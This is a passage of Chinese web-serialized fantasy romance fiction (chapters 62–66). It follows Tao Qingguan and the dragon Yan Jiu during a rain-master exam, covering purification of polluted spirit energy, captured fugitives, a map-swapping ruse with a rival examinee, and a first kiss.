陶清观听到这话,把手放下,甩了甩酸胀的手臂,他俯身往鼎内看,在最底下看到一个漆黑的小盒子。 小盒子周围还飘着黑气,但因为青铜鼎现在充斥着他的灵,黑气没法再进行污染。 他疑惑,为什么不一开始把盒子拿出来?但看见黑气被逼回盒子内,陶清观明白过来,这些无法净化的黑气得靠盒子回收,不然游荡的黑气会是个麻烦。 陶清观开口道:“怎么拿?用树枝?”用手拿感觉有点危险。 周青面色严肃,“试试,但盒子绝对不能打开,否则刚刚逼回去的黑气将卷土重来。” 这就有点考验用筷子的能力,陶清观捡起两根树枝,递到周青面前,“你来,我不喝酒。” 周青一愣,“和喝酒有什么关系。” “喝酒会配花生米。”陶清观逻辑严谨,“花生米夹得多,用筷子肯定六。” 周青:“……”他看着像爱喝酒的?虽然他确实喜欢…… 他接过树枝,探出身子去够盒子,树枝甫一碰到盒子,就仿佛被火燎过一般,迅速变黑变脆,周青稍稍用力,树枝就断成两截。 宴氿大概猜到鼎内的情况,出声解释道:“礼器都无法承受的秽物,普通树木更不可能承受。” 他的目光落在陶清观身上,树枝行不通,接下来又该会如何应对。 秽物少见,正好给陶清观当作一次历练,他暗自想道,年长者就该在合适的时机进行引导,掌控大局,让小辈获得恰到好处的历练。 宴氿摆着波澜不惊的脸色,等待陶清观的动作。 陶清观在宴氿的注视下,大剌剌地伸出手,直接去拿鼎内的盒子,指尖刚要碰到,他眼前一花,扭头发现盒子已经被宴氿拿出来。 宴氿面无表情地将盒子封存,塞到一旁的周青手上。 周青如接到烫手山芋一般,左右抛着想扔出去,还是看守人先发现盒子已经封存好,不会受到影响,周青才冷静下来。 陶清观无情嘲笑:“胆真小。” 宴氿幽幽道:“就你胆子大。” “这是直觉。”陶清观辩解道:“我感觉那东西对我没有威胁。” 心底那股不想碰的念头,多是因为嫌弃,害怕是一点没有。 “你……咳咳咳。”宴氿捂着唇,眉头紧锁,他胃中一阵翻江倒海,流淌的血液中仿佛混入碎玻璃渣,身体各处幻痛不断。 龙呼吸间就能吸纳天地间的灵,即使非他本愿,在接触盒子的那一刻,还是有大半黑气钻入他体内。 宴氿忍着一阵阵恶心感,唇瓣绷成一条直线,冲动了,不该直接碰的。 “喂,你哪里不舒服?” 陶清观赶忙扶助宴氿,他感觉到掌心下的身躯在微微颤抖,陶清观第一次见到宴氿如此脆弱的模样,一时间慌了神,“我该怎么做?对了,找爷爷……” “我没事。”宴氿安抚性地拍了下陶清观的后背,他皱起的眉心却没有松开,鼻尖萦绕着若有似无腐烂的气息,让他本就翻涌的心绪更加烦躁。 宴氿抱住陶清观,将脑袋埋在对方颈窝处,淡淡的清香中混着茉莉花香,那是洗衣液的味道,和他身上的相似却又不完全一样。 恶心的感觉得到缓解,宴氿轻轻蹭了蹭,唇瓣若有似无地蹭过柔软细腻的肌肤,宴氿敛下眼眸。 “让我靠一会。” “……嗯。” 陶清观抬起手臂,迟疑片刻还是将宴氿环住。 瞧着风一吹就要倒的,可别把自己摔着,名字果然不能乱叫,叫了几声宴娇娇,这下好了,真成娇娇了。 第63章 第 63 章 陶清观:有点乖。 宴氿好大一坨, 存在感极强,陶清观感觉身上压了个特大号的趴趴熊,让他‘举步维艰’。 陶清观偏过头, 能瞄见宴氿小半张脸, 对方下颌线紧绷着,鸦黑的睫羽在打下一圈阴影, 高挺的鼻梁抵着他的锁骨,呼吸喷洒在颈窝处,那一小块肌肤隐隐发烫。 他咽了下唾液, 不自觉抓起宴氿的衣服,烫烫的,难道……宴氿发烧了? 陶清观抬起手,落在宴氿的发丝上,他趁机揉了两下, 在宴氿反应过来之前,将手垫在宴氿额头处。 这个姿势有点别扭,宴氿配合着抬起头, 他眸光沉沉, 深蓝色藏在其中,是月下平静深邃的海面, 他顶着被揉乱的发丝歪过头, 似在问陶清观怎么了。 陶清观呼吸滞了一瞬,他微抿起唇, 放轻声音, “好像没有发烧。” 他想收回手,却被宴氿握住手腕,掌心贴在宴氿脸颊处, 手背被宴氿的手包裹,那份温度似乎更烫了。 宴氿蹭了下陶清观的掌心,他做这动作时目光沉静,似乎在寻常不过,“我身体无碍,只是稍微有点难受,” “哦……” 陶清观鬼使神差地捏住宴氿的脸颊,和普通人一样,也是软软的。 宴氿不轻不重地回捏了下陶清观的手,但没有反抗,站在那任由陶清观动作。 有点乖。 陶清观脑海里浮现这个想法,回过神来,他自己都吓了一跳,这辈子没想过他居然会用乖来形容宴氿。 污染的灵接触多了,他脑子都有点不对劲了。 陶清观扯回手,他清了下嗓子,问道:“现在好点没?” 宴氿不语,又倒回陶清观怀里,将脑袋埋进去,他搂着陶清观的腰,抱得比刚刚还紧,用动作回答了陶清观的问题。 陶清观眸光闪烁,他偏过头小声嘟囔,“真拿你没办法。” 周青几人瘫在地上,连围观的力气都没有,身体里火烧火燎的难受,污染的灵在体内乱窜,感觉五脏六腑被撞的移位,尤其是身体自我净化时,那架势根本不管本体的死活,完全处于杀红眼的状态。 瞥见宴氿抱住陶清观,周青费力坐起来,问倒在身旁的看守人道:“是不是抱着那小子会舒服点。” 陶清观跟人体净化器似的,说不定连他体内的灵也能净化。 看守人嘴角抽搐,“最好不要。” 他总觉得这两人的兄弟关系不太正经,又是搂又是蹭的,哪有兄弟会这么抱。 周青想想也觉得太过唐突,还是作罢,老老实实回地上躺尸。 等三人能动,已经是一刻钟之后。 周青和看守人好点,陈年安还是一副半死不活的样子,脸色比死了三天的尸体还白,走起路来摇摇晃晃,神情恍惚。 “你别着急,再歇会。”周青把陈年安摁着坐回去。 他走到昏迷的黑衣人面前,用绳子将人捆好,然后和另一名黑衣人绑在一起,周青一巴掌甩在黑衣人的脑袋上,没有丝毫留手,“好好想想待会审讯的时候该如何回答。” 黑衣人嘴被塞住,一双眸子死死盯着周青。 周青啧了一声,将人丢开,通知特管局的人过来带人。 陶清观注意到周青那边的响动,他想走近看看,可宴氿还粘着他,跟只爱撒娇的大型犬似的,非要挂在主人身上,主人根本没辙。 “还是没难受吗?”陶清观试图拉开一点距离,结果当然是拉不开。 宴氿闷闷地嗯了一声,手上的力道倒是松开了些,他俯下身,脑袋搁在陶清观的肩膀处,低声道:“我恢复的速度比较慢。” 行叭。 好歹是没捆着他了。 陶清观握住宴氿的手腕,问道:“我牵着你,能走吗?实在不行你请假回去等我。” 反正他现在不用宴氿刷新技能CD,对方不跟着也没关系。 “不要。” 这两个字,宴氿说得特别干脆,他压着眉尖,站直身子,手臂贴着陶清观,站姿中透露着一股烦躁劲,浑身上下散发着不好惹的气息。 陶清观新奇地多看两眼,这神情,配着宴氿那张高级脸,有一种厌世感,老龙也是赶上潮流了。 “那人脸上怎么有车轮印?”宴氿目光转向被捆在一起的黑衣人,眼底浮现一丝疑惑。 “呃……”陶清观仰头望天,“就、人总有刹不住手的时候,等我看到,他已经在我车轮下边了,这就是个小意外。” 听完陶清观的描述,宴氿大概能想象到当时的画面,他对黑衣人的惨状毫无同情,陶清观没吓到就好。 宴氿嗯了一声,不再说话,尽职地开启跟随模式,具体表现为,陶清观走一步,他跟一步,两人紧贴的手臂就没分开过。 陶清观有点别扭,但考虑到宴氿不舒服,他还是忍了。 周青收到特管局回来的消息,他冲陶清观摆摆手,“行了,逃犯全部落网,你们继续考试吧。” 陶清观提醒道:“你别忘记给我们加分加时常,还有加钱。” “行,少不了你的。” 陈年安有气无力地开口:“谢谢。” 周青哼出一声嗯,他指挥着看守人,说道:“跟我一起运人,这边车子进不来。” 看守人认命地站起来,走向周青,他嘴上抱怨道:“这不在我的工作范畴。” 话虽如此,看守人还是拽起一名黑衣人。 就在这时,昏迷不醒的黑衣人突然发出一声嘶吼,面上充血,额角青筋暴起,剧烈的疼痛让他两眼翻白,可双手双脚被捆住,他连打滚都做不到。 周青神色一凌,走过去摁住黑衣人想查探究竟,但对方的爆发出的力气太大,他一时间居然没摁住。 陶清观皱眉,踱步上前,他扫过黑衣人通红的脸颊,在对方耳后,他看到几片亮片似的物品。 “他耳后长了奇怪的东西。” 周青闻言,探着身子去看,可下一秒异变突生。 黑衣人崩断绳子,飞速向远处掠去,速度快到只能看见残影,周青想追也来不及。 这时,宴氿动了,他闪身出现在黑衣人身后,拽着人的衣领猛地甩在地上,地面被砸出一个人形的大坑,但坑中的黑衣人却毫发无伤。 这身体素质显然已经超过人类的范畴。 宴氿的脸色前所未有的阴沉,他踩在黑衣人的胸膛上,眼底杀意外泄,“为什么你身上会有蛟龙的气息?” 黑衣人呕出一口血,答非所问道:“看来冒牌货和正版的差距还是很大啊。” 宴氿眉心拧成一个川字,他很确定眼前的家伙是个彻头彻尾的人类,但对方身上蛟龙的影子却若隐若现。 人类总能搞出些花里胡哨的玩意,偷他们的鳞片原来是这个目的。 以人类的身躯化龙,有趣。 宴氿弯下腰,拽住黑衣人耳后的鳞片用力一拔,鲜血喷涌而出,宴氿五指攥紧,鳞片在他手中化为齑粉。 “你这种程度还算不上冒牌货。” 宴氿松开手,粘着鲜血的齑粉洒在黑衣人脸上,如蛛网般蔓延开来。 他一脚把黑衣人踹到周青面前,转身回到陶清观身边,他把糊得全是血的手往陶清观眼底下一伸。 陶清观诡异地读懂对方的意思,抬手凝聚出水流为宴氿洗手,他神情复杂,看着乖乖站在那配合的宴氿,感觉对方怕不是把脑子难受坏了,龙王人设都ooc了。 正常的宴氿哪能做出这种事。 “你……真没事吗?” “没事。”宴氿这会儿不太想说话,体内乱糟糟的,脑子乱糟糟的,现在的局面也乱糟糟的。 但触及陶清观担忧的目光,他还是多说了一句,“过段时间能自己恢复。” 所以这段时间里,他在享受一下陶清观的照顾,也不算过分吧。 宴氿垂下眼眸,注视着陶清观握着自己的手,照顾陶清观的感觉很好,被对方照顾的感觉同样不赖。 对他来说,这是一种很新鲜的感觉,稍微露出一点脆弱,眼前人的心神就会被他牵动,让人上瘾。 陶清观不放心道:“你别逞强。” “嗯。” 陶清观一边帮宴氿洗手,一边发散思维,带宴氿去看病,是要去正常医院,还是兽医院,龙算宠物吗? 按照类别划分,龙应该和蛇的构造大差不大,嗯……难以抉择。 当背景板的周青,看宴氿和陶清观卿卿我我半天,丝毫没有解释的意思,他忍不住出声问道:“你刚刚说的蛟龙是什么意思?” 宴氿不理会。 陶清观瞄了眼周青,开口道:“那家伙是怎么回事?” 宴氿:“他不想当人。” 陶清观:“啊?” “晚点和你细说。”宴氿垂着眉眼,“我现在不太能组织好语言。” 陶清观还能怎么办,他抛给周青一个爱莫能助的眼神,顺便抬手又薅了一把宴氿的脑袋。 宴氿抬起眼眸,他捉住陶清观的手腕,不让人乱动。 陶清观嘿嘿笑了笑,热衷于在宴氿底线上蹦迪。 周青话听到一半,抓心挠肺的难受,可宴氿完全没有搭理他的意思,再问下去也是自讨没趣。 更何况宴氿的身份他已经猜到了,对方不想说,他还真拿对方没办法。 这可是龙王啊,周青头都大了,一个小小的中级雨师考试,怎么混进来的家伙一个比一个重量级,那些管理层知道他们的活祖宗跑来当安全员吗? 周青瞄了眼宴氿的脸色,心底拿不准要不要将对方的身份报上去,但一想陶局的孙子在这,他心思又活络起来。 不报了,被发现就把锅甩给陶清观,现成的背锅侠不用白不用。 那边,陶清观背后一凉,他对上周青的目光,总觉得对方在打什么坏主意。 第64章 第 64 章 宴氿:我不想当你爸爸…… “所以对你的身体来说, 灵有没有受污染是一样的,没法将受污染的灵单独区分出去。” 陶清观蹲在宴氿身前,一手拖着下巴, 看着宴氿靠在树干小憩。 周青和看守人去处理抓到的逃犯, 而陈年安现在半死不活丧失行动能力,他们便留在原地先休整。 “嗯。”宴氿视线落在陶清观的脸庞上, 他放在身侧的手指微微蜷缩起,依从本心抬手握住陶清观的手腕。 陶清观手腕后缩,没抽动, 领略到现在的宴氿有多粘人,陶清观放弃挣扎。 他戳了下宴氿的腿,问道:“你要不变回小孩子的模样。” 宴氿抬眸瞥了眼陶清观,没有搭话,但也没有动作。 陶清观眼底浮现一抹惋惜, 小号宴氿黏他的话,这和多个孩子有什么区别,养了小白一个多月, 他也不介意养小宴氿一段时间。 他那慈爱的表情太过明显, 宴氿不用猜都知道陶清观在想什么。 宴氿眉心蹙起,抬手掐了下陶清观的脸蛋, 开口道:“不可能, 别想了。” 陶清观撇嘴。 一旁挺尸的陈年安爬起来,脚步虚浮, 但好歹能走路, “师父我们走,不能再耽搁了。” 陶清观瞥向陈年安,见对方走得摇摇晃晃, 他开口道:“不再歇会?” 陈年安摇头,“我不能拖你后退,师父你肯定能拿第一。” 倒也不必对他抱有这么大期待,陶清观的目标是及格,多一分都是浪费。 陈年安态度坚持,陶清观没再推脱,他走到自行车前,整理车上的物品,经过一天一夜的消耗,东西少了不少。 陶清观将所有物品放进一个车筐里,腾出一个车筐,他拍拍车筐,对宴氿道:“你身体不舒服,别勉强,坐这里面,我带着你走。” 车筐挺大,坐下一个人没什么问题,就是腿得挂在外面,看着有点不雅观。 宴氿沉默地望着车筐,他踱步上前,在陶清观期待的目光下,托起陶清观的腋下将人抱起,不由分说地把人放进车筐里。 他力气大,陶清观没挣脱下来,见宴氿要去骑车,陶清观连忙伸手把人拽住,“我不能坐。” 宴氿停下脚步眉尖上挑,似乎在问陶清观为什么。 陶清观啧啧两声,“你不是考生,这么帮我是作弊。” 他撑着车筐边缘跳下来,抬起胳膊搭上宴氿的肩膀,宽慰道:“不要觉得丢人,特殊情况特殊对待。” 宴氿偏过头,对上陶清观笑盈盈地目光,他抬起手戳在陶清观的眉心,“说谎。” 陶清观就是想看他坐车筐里的窘样。 “嘁,不识好人心。”计划被识破,陶清观跨坐到车垫上,他扶着车头,去看宴氿,“那我们去做任务,你找个地方休息吧,逃犯已经抓住,也不用担心有什么危险。” 宴氿不执一语。 陶清观就当宴氿答应了,他蹬起自行车,陈年安身残志坚地跟上去。 没走两步,陶清观发现宴氿也跟上来了,两身体不适的人在下面跑,他这个没事人骑着自行车,陶清观不存在的良心有那么一点痛。 他拉紧刹车,回过头,看向两个脸色惨白的人,他扯了下嘴角,“这要是发网上,我该被网暴了。” 题目他都想好了,震惊!一男子无情抛下受伤的同伴,究竟是道德的沦丧,还是人性的扭曲。 陶清观没辙,他长叹一口气,从车上下来,加入步行大军,推着车往前走。 没事哒,没事哒,这森林也没多大,大概。 陈年安见此,赶忙说道:“师父你不用顾忌我,我能跟上。” “没事。”陶清观面无表情,“坐多了,我也想走走。” 果然,有的时候人道德标准太高也不是什么好事。 宴氿走到陶清观身旁,他覆上陶清观的手背,开口道:“我来。” 陶清观头疼,将人推到一边,“你老实点。” 宴氿松开手,他与陶清观并肩往前走,靠着的肩膀时不时会有触碰。 陶清观摸透宴氿的套路,就是想粘着他,他在心底吐槽了一句,放任宴氿的小动作。 三人一道往前走,回到陶清观之前发现的那个位点。 老远,陶清观就看见那个方向有人在,其中一个他们都认识的人,正是开始就万众瞩目的江彦彦。 江彦彦也注意到陶清观等人,他不知想到什么,眉心微蹙。 陶清观点了下脑袋,算是打招呼,反正位点能重复刷,不存在什么先后竞争,江彦彦那边在做,他们稍微等一会儿也没什么影响。 他是想井水不犯河水,可江彦彦却不是。 “安全员为什么还跟着你们?”江彦彦开口问道:“还有其他危险?” 因为陈年安被抓走的意外,各地安全员纷纷现身,贴身保护考生,直到逃犯全部落网,他们才回到暗处,还跟着陶清观的宴氿就显得突兀。 “嗯……应该是没有。” 陶清观瞥了宴氿一眼,这事不太好解释,他含糊道:“反正安全员不会出手帮忙,当他不存在就是了。” 江彦彦紧皱的眉心没有松开,他心中惊疑不定,这家伙究竟是什么人?竟然让安全员这么重视,身份肯定不简单,可他完全没听说过这号人物,是哪家藏着的小辈? 某种意义上,江彦彦真相了。 感受到在场几人的目光汇聚在自己身上,陶清观面上风轻云淡,心底无语加无奈,给宴氿一折腾,他们这伪装做的已经没有意义。 事已至此……装傻吧。 陶清观权当没看见,等江彦彦拿完分,他走上前将自己的灵注入树干中,待胸前的计分器亮起,他让开位置,示意陈年安过来刷分。 两方相安无事,但拿完分的江彦彦没走,他双手抱臂,对陶清管道:“我们手里有其他位点的信息,你有没有兴趣和我们交换?” 陶清观闻言,目光转向江彦彦。 交换这种事全凭良心,位点的真假无法当场验证,这毕竟是场考试,谁也不想帮竞争对手。 江彦彦知道陶清观会有所顾虑,他接着道:“通关名额很多,足够我们所有人分,我们没必要因为互相猜忌,错失拿高分的机会。” 陶清观盯着江彦彦看了一会,开口道:“行,你们知道几个位置?” 江彦彦回答道:“6 个。” 陶清观:“我们这也差不多。” 他拿出地图,没急着打开,江彦彦也识趣地拿出地图,并且很有诚意地将地图先打开。 地图上红笔圈出六个位点,旁边还有标注,看上去一目了然。 陶清观扫了一眼,发现和他们找到的位点有一两个重复,他干脆地把手中的地图也摊开。 江彦彦拿出笔圈画,陶清观也装模作样的在地图上打了几个圈,都圈好后,他们两同时将地图收起来。 “合作愉快。”江彦彦对陶清观颔首,向自己的同伴招招手,几人走到旁边的小树林中。 陈年安拿完分,回到陶清观身旁,他听到陶清观和江彦彦的交易,开口问道:“我们现在就去其他位点吗?” 陶清观摇摇头,说道:“他给的位点真假参半,直接去是在浪费时间。” 陈年安一惊,他看向离他们有段距离的江彦彦,又立即转回头,用超级小的声音问道:“师父,你怎么知道的。” 陶清观见他这幅做贼心虚的模样,觉得好笑,“不用这么小声,距离这么远,他们听不见的。” “我也没证据,就是直觉。” 那个江彦彦看着就小心思很多,他才不相信对方会那么好心和他合作,而且虽然江彦彦表现的很自然,但对方的几个同伴有显而易见的心虚表现。 陈年安啊了一声,他完全不怀疑陶清观,着急的问道:“那我们不是亏了。” 陶清观勾起唇角,说道:“没亏,他给的真假参半,我给的都是假的。” 搞小动作这种事怎么可能少了他,考虑到一开始江彦彦就提出过交换信息的事,陶清观早就做了备用地图,就是为了这种时候。 陈年安海豹鼓掌,夸赞道:“师父厉害。” 陶清观谦虚道:“小场面。” “厉害。” 宴氿冷不丁地冒出一句,陶清观抬眸望去,对上宴氿漆黑的眼眸。 陈年安这么说,陶清观不觉得有什么,可同样的话从宴氿嘴里说出来,陶清观莫名觉得有些羞耻。 他清了下嗓子,压下心底那点异样,转移话题道:“我们还是按照原本的路线走,江彦彦给的位点就用作参考,顺路的就去看看。” 陈年安:“好。” 宴氿视线一直停留在陶清观身上,他挽起唇,说道:“很聪明。” 陶清观肩膀一僵,“也没那么夸张。” 宴氿这没活硬夸的话,着实让人尴尬,尤其是宴氿这货说话的语气完全是在夸小孩,宛如小孩刚学会走路,父母在一边旁边啪啪鼓掌,一边用夸张的语气赞叹。 “嗯,比刚刚那人厉害。” “好了,你先闭嘴。”陶清观受不了宴氿人机般的夸奖,他睨向对方,“你是不是又把我当小孩?虽然我说过下次可以让你当爸爸,但不是现在。” 听到‘爸爸’二字,宴氿眼底的神色暗下来,心底生出烦躁感,他所有亲近的举动,都被陶清观认定为长辈对后背的关爱,“我没想当你爸爸。” 陶清观才不信,宴氿想当他爹的形象深入人心,他敷衍道:“好好好,赶紧走吧。” 宴氿脚下未动,神色认真地重复道:“我不想当你的父亲,现在不想,以后也不想。” 第65章 第 65 章 陶清观:你喜欢我!?…… “……哦。”陶清观食指挠了挠面颊, 有些别扭地开口,“我知道了。” 开玩笑的话用正经的语气说出来,玩笑变得不像玩笑, 宴氿的话别有意味, 可他又琢磨不出隐藏在其下的含义。 不想当他爹,还能想当他儿子不成。 陶清观抿抿唇, 转瞬将这个想法划掉,宴氿被人夺舍的概率都比这个大。 宴氿现在状态不正常,跟智商掉线的家伙较真完全没有必要, 陶清观将事情撂在一旁,转而研究起江彦彦给的位点。 六个位点各自离得都很远,并且方向还不一样,陶清观品出一点不同寻常得味道来,真按照江彦彦给的位点走, 他们一大半时间都要浪费在路上,更别说找到位点也可能是扑一场空。 原来打的是这个主意,陶清观笔尖点了下地图上的红圈, 在其中两个做上记号。 陈年安一直探着脑袋往陶清观那边看, 他问道:“这两个点有什么特别的?” “可能是真的。”陶清观收起笔,解释道:“他们步行, 按照步数来算, 一天一夜,他们的活动范围只能覆盖这两个点。” 虽然控风飞行能增加速度, 可灵恢复需要时间, 若是灵不够,找到位点也只能干瞪眼,所以就算借助灵的便利, 考虑到体内的灵,江彦彦几人也跑不了多远。 陈年安点点头,尽职地夸赞:“师父,你脑袋真好使。” 贴着陶清观的宴氿听到这话,张开嘴要接上去。 陶清观提前预判,打断道:“行了,你不用夸。” 宴氿到嘴边的话顿时,他扫过陶清观的脸庞,嘴角下压,‘不开心’三个字写在脸上。 陶清观装作没看见宴氿的小情绪,埋头往前走,可宴氿目光的存在感极强,那盯着他的模样,仿佛他做了什么天理不容的坏事。 陈年安怯生生地看了一眼宴氿,被对方黑沉沉的气势唬住,他悄悄往旁边挪了两步,拉开距离。 陶清观本来车推得好好的,忽然宴氿拽过他一只手握住,并用自己的手替上,愣是整出二人同推一车的奇葩姿势。 人在无语的时候真的会突然笑笑。 陶清观就处于这个状态,他眼底闪过复杂的情绪,开口道:“宴娇娇,你玩够没有?” 宴氿手没松,幼稚地回上一句,“陶囡囡。” 陶清观:“……” 他反握住宴氿的手,趁对方愣怔的片刻,挣脱出来,夺回车头的控制权,顺便抛出另一个话题,“你安全员的工作不管了?你负责的区域不是这边吧。” 宴氿惜字如金,“在封锁。” 那边也是有礼器受损,没有陶清观在,处理起来需要一段时间,正好那块区域没有考试位点在,所以特管局直接封了。 相关负责人让他去支援忙碌的区域,但没说具体哪一块,他觉得陶清观在的这块就很忙碌,而且周青去押送逃犯,他顶替对方的工作十分合理。 陶清观吐槽道:“你这工作也太随意了。” 宴氿:“嗯。” 知道宴氿这会儿不想说话,陶清观跳过宴氿和陈年安闲聊起来,他是觉得自己在为宴氿着想,可夹在中间的宴氿脸色愈发冰冷。 抵达下一个位点。 陈年安先拿完分,他顶着宴氿不善的目光,对陶清观道:“江彦彦给的其中位点离这边不远,师父你先拿分,我过去看看。” “行。” 陈年安一溜烟儿跑没影,活像有鬼在背后追。 陶清观看着陈年安充满活力的背影,在心底感叹一句,年轻真好。 下一秒,他面前多出一个人,将陈年安的声音严严实实的挡住,宴氿唇角下压,沉默地站在陶清观跟前。 陶清观不解,这又怎么了? 两人相顾无言,傻愣愣地立在那,最后是宴氿开口打破僵局,“你就顾着和他聊天,都不理我。” 宴氿平静的语气中带着控诉,看着陶清观的眼神中也带着一丝不易察觉的委屈。 陶清观听到这话,只想高喊,请苍天,辨忠奸,是宴氿先说不想讲话的,他明明是在照顾对方的感受,再说宴氿贴上来的时候,他也给出回应,怎么到宴氿这,就变成他不搭理他。 他忿忿道:“你这是污蔑。” 宴氿咬着下唇边沿的软肉,醋坛子里咕嘟咕嘟冒泡,身体上的难受将心底那点见不得光的心思放大,他想陶清观只看着他,也只哄着他。 为什么就是看不到他的心意,哪有父子情会愿意和对方接吻的。 宴氿托起陶清观的脸颊,漆黑的目光中闪烁着点点星芒,他俯下身,按着陶清观的腰将人往怀里带。 拉近的距离让陶清观噤声,他不清楚宴氿要做什么,可交缠的气息,对方掌心下滚烫的温度,让气氛陡然暧昧起来。 陶清观心头一颤,他下意识伸手抵在宴氿胸膛上,阻止宴氿的靠近,他脑袋后仰,让出一点能够喘息的距离。 “就算你靠这么近,空气净化器的效果也不会变好。”陶清观开了个玩笑想缓和气氛,他推了下宴氿,说道:“再靠近就是另外的价钱。” 宴氿垂下眼帘,嗓音低沉,“要多少钱?” 见宴氿接茬,陶清观打趣道:“怎么也得千八百万。” “好。” 话音未落,唇瓣被两片同样柔软的东西抵住,湿热的舌尖舔过他的唇缝,下唇被挑逗性的轻咬,心跳如鼓点一声接着一声,不知道是他,还是宴氿的。 陶清观呼吸屏住,一时间忘记把人推开,但很快他感受到许多不和谐的灵在宴氿体内乱窜,隐隐还有溜到他体内的趋势,这些灵的数量比青铜鼎内的还多。 揣着如此多的不稳定因素,陶清观忽然感觉宴氿的情绪已经算稳定了。 他没再抗拒,任由那些灵流下自己,在进入体内的那一刻,污染的灵被迅速同化。 净化青铜鼎的时候陶清观就发现了,被他吞噬的灵不管一开始是什么样,进到他体内立即就会变成他自己的。 正是这种堪称霸道的吸收能力,才导致他的身体不知节制,让他一边哭,还一边接着吃。 陶清观思绪跑偏,宴氿像是发现他走神,又咬了下他的唇瓣,紧接着舌尖挤入唇缝,陶清观措不及防,抵在牙关的舌尖与宴氿相接触。 那一瞬间,两个人同时僵住。 宴氿最先反应过来,他牵住陶清观的手,修长的手指插入对方指缝之间牢牢握住,他轻啄陶清观的唇瓣,在对方眼眸中看到一张全然陌生的脸,宴氿不满,换回自己原本的模样。 交叠的唇拉开一丝距离,说话间唇瓣若有似无的摩擦,滋生出旖旎的气息。 宴氿薄唇轻启,“下次再有这种活动,记得叫我。” 陶清观:“!?” 他噔噔两步退开,把自己的手从宴氿手中抽出来,陶清观五官各有各的想法,半天拼凑不出一个正常的表情。 这不对吧,这不对啊。 陶清观抬头看向宴氿,对方神色如常,但泛红的耳尖出卖了对方,陶清观顿时如遭雷劈,张着嘴发不出声音。 啊? 啊!? 啊!!? 老龙羞涩的表情又是整哪出,今天也不是愚人节啊,这还能用脑子坏了解释么。 陶清观尖叫小猫痛苦抱头,他脑袋也要坏了。 宴氿将垂下的发丝别在耳后,他偏过头看向一旁,但注意力却在余光中的陶清观身上,他碾着发丝,血液奔涌流淌,肾上腺素冲淡身体的不适感,脑海中只剩下那道身影。 “你……我……”陶清观试图阻止语言,可就在这时,他突然瞥见不远处的树后藏着一个人,看对方的衣着不像刚刚出去的陈年安。 陶清观那点羞涩的神情收敛,警惕道:“那边有人。” 宴氿:“不用管。” 陶清观蹙眉,“他好像看到你的脸了。” 宴氿:“没事。” 陶清观放心不下,“不行,我得看看是什么人。” 良好的气氛被毁得渣都不剩,陶清观甚至要走,宴氿拉住陶清观的手腕,话语中尽是咬牙切齿地意味,“是那个叫江彦彦的人,无关紧要。” 为什么每次在他要挑明的时候,都会有碍事的人出现! “他?”陶清观望过去,躲在那的江彦彦大概是发觉自己暴露,早就跑得没影,陶清观思索着,是发现自己被骗,跑来跟踪他们? 这也太闲了吧。 “你刚刚要说什么?”宴氿将陶清观拉近,不死心地想继续中断的话题。 陶清观目光躲闪,被扣着的手蜷缩起,“呃……就……这种活动难得一见。” 宴氿:( 不嘻嘻。 他松开陶清观的手,把脸转到一旁,“是吗?好,哈哈。” 毫无感情的捧读,给陶清观整笑了,不是他的错觉,有时候这条老龙确实有亿点点可爱。 陶清观抬起手,掌心落在宴氿发顶,他轻轻揉了两下,模棱两可地说道:“可能下次还会有。” 宴氿立即回过头,对上陶清观含笑的眼眸,他唇角跟着扬起,眉心舒展开来。 好像也不是完全没有收获。 等陈年安跑了一圈回来,看到的就是分开坐的陶清观和宴氿,中间隔着一米多的距离,他心中忐忑。 他离开的时候还好好的,这两人难道在他出去的期间吵架了。 虽然宴氿很吓人,但陈年安坚定的站在陶清观这边,他挨着陶清观坐下,用宴氿也能听见的声音说道:“师父,你全猜中了,那边什么都没有。” 陶清观反应慢半拍,“……嗯。” 陈年安瞄了一眼宴氿,“我相信,师父你做什么肯定有你的道理,就算别人不理解,我也站你。” 第66章 第 66 章 宴氿:好喜欢好喜欢…… “……谢谢?” 突如其来的一段话, 给陶清观整得愣了一下,他看着陈年安亮闪闪的目光,有点跟不上对方的脑回路。 陈年安一手握拳, 强调自己的决心, “就算打起来也一样。” 陶清观与旁边的宴氿对视一眼,总算明白陈年安想哪去了, 他开口道:“我们没吵架。” 这下换陈年安愣住,“那你们怎么分这么开。” 陶清观神色不太自然,“这个……” 陈年安眉心皱起, 心道果然另有隐情,他凑到陶清观身旁,说道:“果然还是发生什么了,难道说是肢体冲突?师父你放心,虽然他是安全员, 但也不能对考生动手的,你可以举报他。” 举报个鬼啊。 拿刚刚发生的事举报,他自己都说不出口。 陶清观撤回一个挡在自己身前的陈年安, 在对方开口之前, 他语速飞快地说道:“没吵架,更没打架, 只是没挨着坐而已, 你太小题大做了。” “可是你们两之前一直黏在一起。”陈年安摸不着头脑,“走路都粘着。” 原本觉得挺正常的相处模式, 从陈年安嘴里说出来, 陶清观感觉哪哪都不对,他不自觉瞥向坐在那一言不发的宴氿。 视线交汇的那一刻,两人像被烫到似的, 同时挪开。 某种意义上,好像确实有点问题。 陶清观目光飘忽,含糊道:“反正我们之间没什么,赶紧去找下个位点。” 陈年安瞅瞅陶清观,又瞅瞅宴氿,好似有一种颜色粉嫩的泡泡源源不断冒出来,将他隔离在外,顺便留给他什么都没吃的饱腹感。 这量子纠缠般的奇怪感,搞不懂。 三人继续往前走,没走多远,忽然传来说话声,不是那种窃窃私语,而是人群聚集在一起的喧闹声。 陶清观脚步一顿,这样的声音放在作为考场的森林中说不出的违和,他向陈年安打了个手势,示意对方保持安静,然后放好自行车,悄悄从树干后面望去。 只见一处大概是位点的地方围满了人,大家排着队刷分。 陶清观蹙眉,开口道:“我们过去看看,宴娇娇你留在这边。” 人太多,带着宴氿这个活靶子,容易引起围观。 宴氿听到这个名字,眼底划过一丝无奈,体内的难受感消退许多,那些冲动的情绪被抑制,更重要的是—— 他抬眸,眼底倒映着陶清观的模样,“注意安全。” 就算不跟着也没关系,心底荡漾着暖暖的情绪,不安感被驱散,只是远远地看着那处空荡荡的地方就被填满。 “……嗯。” 陶清观转身走人,陈年安立即跟上去,他见陶清观脸色复杂,开口问道:“怎么了。” “没什么。”陶清观两手抱着胳膊搓了两下,“就是起了点鸡皮疙瘩。” 好肉麻,原来宴氿是这种类型。 陈年安不解,“是觉得冷?” 陶清观摇头,看着一脸单纯的陈年安,他语重心长道:“等你长大后就懂了。” 陈年安满头问号,他现在还不够大吗? 走到人群中,陶清观扫视四周,这里不出意外全是考生,他找了个看着面善的考生问道:“这里怎么这么多人?” 那考生胖乎乎的,被问也是和善的笑笑:“我是和江彦彦交换了位点,他人真好,一下子告诉我6个,我自己才找到3个。” 又是江彦彦。 